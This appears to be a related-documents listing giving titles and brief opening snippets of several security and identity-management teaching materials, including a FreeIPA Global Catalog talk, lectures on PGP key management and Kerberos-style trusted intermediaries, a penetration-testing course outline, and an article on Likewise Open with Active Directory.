GLOBAL CATALOG SERVICE IMPLEMENTATION IN FREEIPA. Alexander Bokovoy Red Hat Inc. May 4th, 2017
GLOBAL CATALOG SERVICE IMPLEMENTATION IN FREEIPA Alexander Bokovoy Red Hat Inc. May 4th, 2017 ABOUT:ME Sr. Principal Software Engineer at Red Hat Samba Team member since 2003 Core FreeIPA developer since
Key management. Pretty Good Privacy
ECE 646 - Lecture 4 Key management Pretty Good Privacy Using the same key for multiple messages M 1 M 2 M 3 M 4 M 5 time E K time C 1 C 2 C 3 C 4 C 5 1 Using Session Keys & Key Encryption Keys K 1 K 2
Module 1: Penetration Testing Planning and Scoping. Module 2: Basic Usage of Linux and its services
Following topics will be covered: Module 1: Penetration Testing Planning and Scoping - Types of penetration testing and ethical hacking projects - Penetration testing methodology - Limitations and benefits
Likewise Open provides smooth integration with Active Directory environments. We show you how to install
Open provides smooth integration with Active Directory environments. We show you how to install and configure the admin-friendly authentication system. BY WALTER NEU he Open authentication system [1] integrates
Trusted Intermediaries
AIT 682: Network and Systems Security Topic 7. Trusted Intermediaries Instructor: Dr. Kun Sun Trusted Intermediaries Problem: authentication for large networks Solution #1 Key Distribution Center (KDC)
AIT 682: Network and Systems Security
AIT 682: Network and Systems Security Topic 7. Trusted Intermediaries Instructor: Dr. Kun Sun Trusted Intermediaries Problem: authentication for large networks Solution #1 Key Distribution Center (KDC)